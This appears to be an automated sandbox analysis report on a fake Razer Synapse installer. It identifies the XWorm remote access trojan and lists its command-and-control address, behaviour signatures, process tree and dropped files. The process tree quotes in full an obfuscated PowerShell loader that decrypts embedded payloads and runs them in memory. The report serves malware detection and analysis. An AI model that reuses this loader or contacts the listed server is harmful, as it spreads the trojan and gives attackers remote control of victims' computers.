Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/06/2024, 14:25

General

  • Target
    RazerSynapseInstaller_v1.17.0.60.exe
  • Size 8.5MB
  • Sample240609-rred1acb73
  • SHA256 86fc45a637f30313b5af7d6264b1db58affa024daba9a7eb1aac18b4300b906a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

C2
  • done-declared.gl.at.ply.gg:43143

Attributes
  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 17 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 11 IoCs
  • Drops file in Windows directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 10 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 42 IoCs
  • Modifies registry class 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:796
    • C:\Windows\system32\wbem\wmiprvse.exe
      C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
      2⤵
        PID:1828
      • C:\Windows\System32\mousocoreworker.exe
        C:\Windows\System32\mousocoreworker.exe -Embedding
        2⤵
          PID:4188
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k RPCSS -p
        1⤵
          PID:892
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:952
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:532
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:988
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                1⤵
                  PID:440
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                  1⤵
                    PID:1080
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:1164
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                    1⤵
                      PID:1204
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                      1⤵
                      • Drops file in System32 directory
                      PID:1228
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                      1⤵
                        PID:1256
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                        1⤵
                          PID:1272
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                          1⤵
                            PID:1392
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                            1⤵
                              PID:1444
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                              1⤵
                                PID:1452
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                1⤵
                                  PID:1472
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                  1⤵
                                    PID:1480
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                    1⤵
                                      PID:1644
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                      1⤵
                                        PID:1684
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                        1⤵
                                          PID:1736
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                          1⤵
                                            PID:1796
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1820
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                              1⤵
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:2032
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                              1⤵
                                                PID:1308
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                1⤵
                                                  PID:1000
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1744
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                    1⤵
                                                      PID:2064
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                      1⤵
                                                        PID:2200
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                        1⤵
                                                          PID:2252
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                          1⤵
                                                            PID:2380
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                            1⤵
                                                              PID:2560
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                              1⤵
                                                                PID:2620
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                1⤵
                                                                  PID:2628
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                  1⤵
                                                                  • Drops file in System32 directory
                                                                  • Modifies data under HKEY_USERS
                                                                  PID:2748
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                  1⤵
                                                                  • Enumerates connected drives
                                                                  PID:2788
                                                                • C:\Windows\System32\svchost.exe
                                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                  1⤵
                                                                    PID:2840
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                    1⤵
                                                                      PID:2856
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                      1⤵
                                                                        PID:2880
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                        1⤵
                                                                          PID:3392
                                                                        • C:\Windows\Explorer.EXE
                                                                          C:\Windows\Explorer.EXE
                                                                          1⤵
                                                                            PID:3528
                                                                            • C:\Users\Admin\AppData\Local\Temp\RazerSynapseInstaller_v1.17.0.60.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\RazerSynapseInstaller_v1.17.0.60.exe"
                                                                              2⤵
                                                                              • Checks computer location settings
                                                                              • Suspicious use of WriteProcessMemory
                                                                              PID:1288
                                                                              • C:\Users\Admin\AppData\Roaming\RazerSynapseInstaller_V1.17.0.600.exe
                                                                                "C:\Users\Admin\AppData\Roaming\RazerSynapseInstaller_V1.17.0.600.exe"
                                                                                3⤵
                                                                                • Executes dropped EXE
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:4012
                                                                                • C:\Windows\Installer\Razer\Installer\RazerInstaller.exe
                                                                                  C:\Windows\Installer\Razer\Installer\RazerInstaller.exe
                                                                                  4⤵
                                                                                  • Checks computer location settings
                                                                                  • Executes dropped EXE
                                                                                  • Drops file in Windows directory
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:2544
                                                                                  • C:\Windows\Installer\Razer\Installer\App\RazerInstaller.exe
                                                                                    "C:\Windows\Installer\Razer\Installer\App\RazerInstaller.exe"
                                                                                    5⤵
                                                                                    • Executes dropped EXE
                                                                                    • Loads dropped DLL
                                                                                    • Drops file in Windows directory
                                                                                    • Checks SCSI registry key(s)
                                                                                    • Enumerates system info in registry
                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                    PID:4416
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\portforwoder.bat" "
                                                                                3⤵
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:3088
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NZA7uStBimzhU2pjm6inNDqFkCs0FhB+CeLL79sWRI4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6OswDjQA8VBkciMxnDy1mg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pIVYA=New-Object System.IO.MemoryStream(,$param_var); $kljBV=New-Object System.IO.MemoryStream; $Cddeu=New-Object System.IO.Compression.GZipStream($pIVYA, [IO.Compression.CompressionMode]::Decompress); $Cddeu.CopyTo($kljBV); $Cddeu.Dispose(); $pIVYA.Dispose(); $kljBV.Dispose(); $kljBV.ToArray();}function execute_function($param_var,$param2_var){ $uzlSo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uoqGL=$uzlSo.EntryPoint; $uoqGL.Invoke($null, $param2_var);}$swHsV = 'C:\Users\Admin\AppData\Roaming\portforwoder.bat';$host.UI.RawUI.WindowTitle = $swHsV;$PZzIj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($swHsV).Split([Environment]::NewLine);foreach ($hSmwK in $PZzIj) { if ($hSmwK.StartsWith('SnmHeIeicRORhReMwpKo')) { $LpkSF=$hSmwK.Substring(20); break; }}$payloads_var=[string[]]$LpkSF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                  4⤵
                                                                                    PID:3944
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                    4⤵
                                                                                    • Blocklisted process makes network request
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:4036
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                              1⤵
                                                                                PID:3636
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                1⤵
                                                                                • Modifies data under HKEY_USERS
                                                                                PID:4088
                                                                              • C:\Windows\System32\svchost.exe
                                                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                1⤵
                                                                                  PID:2644
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                  1⤵
                                                                                    PID:4328
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                    1⤵
                                                                                    • Modifies data under HKEY_USERS
                                                                                    PID:1328
                                                                                  • C:\Windows\System32\svchost.exe
                                                                                    C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                    1⤵
                                                                                      PID:4920
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                      1⤵
                                                                                      • Drops file in Windows directory
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:4136
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                      1⤵
                                                                                        PID:3216

                                                                                      Network

                                                                                            MITRE ATT&CK Enterprise v15

                                                                                            Replay Monitor

                                                                                            Loading Replay Monitor...

                                                                                            Downloads

                                                                                            RazerInstaller-cb19c464-e8c4-429d-93f5-55093fee4228.log

                                                                                            • Path C:\ProgramData\Razer\Installer\Logs\RazerInstaller-cb19c464-e8c4-429d-93f5-55093fee4228.log
                                                                                            • Size 4KB
                                                                                            • SHA256 7e0b41534545c6fe2ae9255e7bf01ec984c4eb768db7d38af3ca8b55353d7a44
                                                                                            • MD5 SHA1 SHA512

                                                                                            B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04

                                                                                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04
                                                                                            • Size 400B
                                                                                            • SHA256 c30bc2267d949b6c9c4a9b0ea14d38620900dbf0a115f184d98a6a99ef232e89
                                                                                            • MD5 SHA1 SHA512

                                                                                            __PSScriptPolicyTest_r5aadi5k.zig.ps1

                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r5aadi5k.zig.ps1
                                                                                            • Size 60B
                                                                                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                            • MD5 SHA1 SHA512

                                                                                            RazerSynapseInstaller_V1.17.0.600.exe

                                                                                            • Path C:\Users\Admin\AppData\Roaming\RazerSynapseInstaller_V1.17.0.600.exe
                                                                                            • Size 7.9MB
                                                                                            • SHA256 f051896ab2043d06236e047efd6a2a719a399bb99fc810e5a671412f0ec35dea
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            portforwoder.bat

                                                                                            • Path C:\Users\Admin\AppData\Roaming\portforwoder.bat
                                                                                            • Size 390KB
                                                                                            • SHA256 3a1da018b43f1dd10eb3675d7b636bd32cb0df9e652a14e243f88953f04c8e89
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            AWSSDK.Core.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\AWSSDK.Core.dll
                                                                                            • Size 1.8MB
                                                                                            • SHA256 8f0cd4ee8b8b590dd3e9a0af236b4cba2e99016603ffa8897f12bbbfeb36fb08
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            AWSSDK.Kinesis.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\AWSSDK.Kinesis.dll
                                                                                            • Size 151KB
                                                                                            • SHA256 c069151bc437f06025142a78b5dd7477ca6a847d1bba7323cd962f4496f2ca84
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            AllSystems.json

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\AllSystems.json
                                                                                            • Size 707B
                                                                                            • SHA256 ae1fdc5f37e9a8382dc4e114f633612dbee04ecbb46ab86c0d1a39bdd8c3e527
                                                                                            • MD5 SHA1 SHA512

                                                                                            BLEConnect.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\BLEConnect.dll
                                                                                            • Size 45KB
                                                                                            • SHA256 bd882b04e425ff50f6b95ae0a7c3c621063cb31c202af38da8b13ac4e17c19f2
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            BLEConnectWrapper.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\BLEConnectWrapper.dll
                                                                                            • Size 183KB
                                                                                            • SHA256 315014358c49304953e4d50009b3295dd1350fa995477b3f17163282cfb7d807
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            InstallerConfiguration.xml

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\InstallerConfiguration.xml
                                                                                            • Size 600B
                                                                                            • SHA256 3cba28341496ef931b5735176fc6f640012d92ffc18cf95eddd648ee35521caa
                                                                                            • MD5 SHA1 SHA512

                                                                                            NLog.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\NLog.dll
                                                                                            • Size 841KB
                                                                                            • SHA256 b911867ef2213e93d6ddaedf37ceeb8022a6aadf2bd0da31dbc75040f3802b15
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            PatchExceptionalEID.json

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\PatchExceptionalEID.json
                                                                                            • Size 131B
                                                                                            • SHA256 0f667d54883d3ba72a8a0cfa864431f79d74905e92976be0611706b1191c3c45
                                                                                            • MD5 SHA1 SHA512

                                                                                            Razer.DetectManagerWrapper.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\Razer.DetectManagerWrapper.dll
                                                                                            • Size 111KB
                                                                                            • SHA256 9ee38e8507708d3338b96221f0f10982bbf1ec22fa66243ea3158fc0cf251f6b
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            Razer.RazerInstallerCommon.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\Razer.RazerInstallerCommon.dll
                                                                                            • Size 2.9MB
                                                                                            • SHA256 2c02800fb4a42a5a9c1b65247ef088b902b1f5d22a0f643ac64951100a67e1b0
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            RazerInstaller.exe

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\RazerInstaller.exe
                                                                                            • Size 4.3MB
                                                                                            • SHA256 4d89cbbb5b187b510ff972ae990b54f69a424fa6862bd10bb9e95c0f4c78fa4a
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            RazerInstaller.exe.config

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\RazerInstaller.exe.config
                                                                                            • Size 635B
                                                                                            • SHA256 895d6569a9dec15595621a04a122d7cc0242e455e31a4f048ada9b85156baf24
                                                                                            • MD5 SHA1 SHA512

                                                                                            api-ms-win-core-console-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-console-l1-1-0.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 f6bdc8ffd172b44f4d169707d9a457aeef619872661229b8629ee4f15eefff0d
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-datetime-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-datetime-l1-1-0.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 7d588a5a958e32875d7bd346d1371e6ebfd9d5d2ede47755942badfc9c74e207
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-debug-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-debug-l1-1-0.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 92b947f1d6236f86ed7e105cff19e23c13d1968861426511b775905e1d26b47a
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-errorhandling-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-errorhandling-l1-1-0.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 e207ffc6fef144e5d393e79de75f8f20d223f1ac33a011eeb822d30fa2031046
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-file-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-file-l1-1-0.dll
                                                                                            • Size 21KB
                                                                                            • SHA256 c0e5d482bd93bf71a73c01d0c1ec0722ea3260eba1f4c87e797bae334b5e9870
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-file-l1-2-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-file-l1-2-0.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 3816bbb7dd76d8fc6a7b83a0ed2f61b23dd5fc0843d3308ee077cb725d5c9088
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-file-l2-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-file-l2-1-0.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 096409422ecd1894e4d6289fd2d1c7490bd83daff0c1e3d16c36c78bd477b895
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-handle-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-handle-l1-1-0.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 a369ef130749bf8cd9f67055179e6f537f200c060af47493d49473912a95021e
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-heap-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-heap-l1-1-0.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 efc9f0e32bce971900ddf66a1a9e68daa3bfb2099a1ba9f24c6ee82da2cbd6e8
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-interlocked-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-interlocked-l1-1-0.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 a272ae4fc60e511f48950b08f106fcdd3bc86831df908ee78d630f1ae921880c
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-libraryloader-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-libraryloader-l1-1-0.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 0bd03e89a539aaa3100e2f7d9a058964730320e55aee1f85be8fd243eea7017a
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-localization-l1-2-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-localization-l1-2-0.dll
                                                                                            • Size 20KB
                                                                                            • SHA256 f33e6ac5d3e1c4f1d89564fb6aeeac170486c073b67694380755049dbc48eec1
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-memory-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-memory-l1-1-0.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 8f3f0fd765a37f48162f0bd00c3047e79b4eda355223bfcbed4d35b51349cfcc
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-namedpipe-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-namedpipe-l1-1-0.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 3a20635a223e68418c22858413e8c603aac25723de1cb0f54dd675349ec3213d
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-processenvironment-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-processenvironment-l1-1-0.dll
                                                                                            • Size 19KB
                                                                                            • SHA256 64742ee0729cbe72555247b0165fae03bea7a6b0147869253dae3bb0072173e8
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-processthreads-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-processthreads-l1-1-0.dll
                                                                                            • Size 20KB
                                                                                            • SHA256 02839f3b2bdf6adfc89d2f800cc8acda59a40c3e7ce14ef3026f4c72e202297d
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-processthreads-l1-1-1.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-processthreads-l1-1-1.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 bfa24f94ba095174b82d3657f8ecc689eab8ff380c69b1c9a7e311eb70d66386
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-profile-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-profile-l1-1-0.dll
                                                                                            • Size 17KB
                                                                                            • SHA256 48dceeea29558966c391cda34e5755386c2e7e252ea0a03d8d1f21e3cb370c5b
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-rtlsupport-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-rtlsupport-l1-1-0.dll
                                                                                            • Size 17KB
                                                                                            • SHA256 41c69b545d931045a280f83b2f5fbe0ea18c35ac42dfca54b661b42fe8e4f982
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-string-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-string-l1-1-0.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 52c9b061c4c74eeb70019edde2b690c7e9d9744979a3b718d6687b3a83f00def
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-synch-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-synch-l1-1-0.dll
                                                                                            • Size 20KB
                                                                                            • SHA256 e7d39dcb79d739ec030e9a4e2165b264a24c400566056e1fda267fdd1a8b36bd
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-synch-l1-2-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-synch-l1-2-0.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 01bb32d692b86ebb39a76893125e0f3aaf957c6e4bd682fb46eac32f6fb65be7
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-sysinfo-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-sysinfo-l1-1-0.dll
                                                                                            • Size 19KB
                                                                                            • SHA256 fb23439a5982e723e8e4ae1a5a35f9bbbfba1e76feb4596668f57093b231da6b
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-timezone-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-timezone-l1-1-0.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 d592b91a087c001f9ea38dc5912a90c78fad3a368879d04fd7e5650ed374c8dc
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-core-util-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-core-util-l1-1-0.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 4f31b2888ca82bd1ff40d71e2d11500456b99940dd469bfb097fcd304676fa38
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-crt-conio-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-conio-l1-1-0.dll
                                                                                            • Size 19KB
                                                                                            • SHA256 905f86530c56c9b453dd8bd9770440de0f6f35aa84b171de747a04d112e35aad
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-crt-convert-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-convert-l1-1-0.dll
                                                                                            • Size 22KB
                                                                                            • SHA256 e4ccd13d5861e3e28984fc7263d79b580a0bc7bbe0d234ed8f1a69706ef908f3
                                                                                            • MD5 SHA1 SHA512 SSDEEP

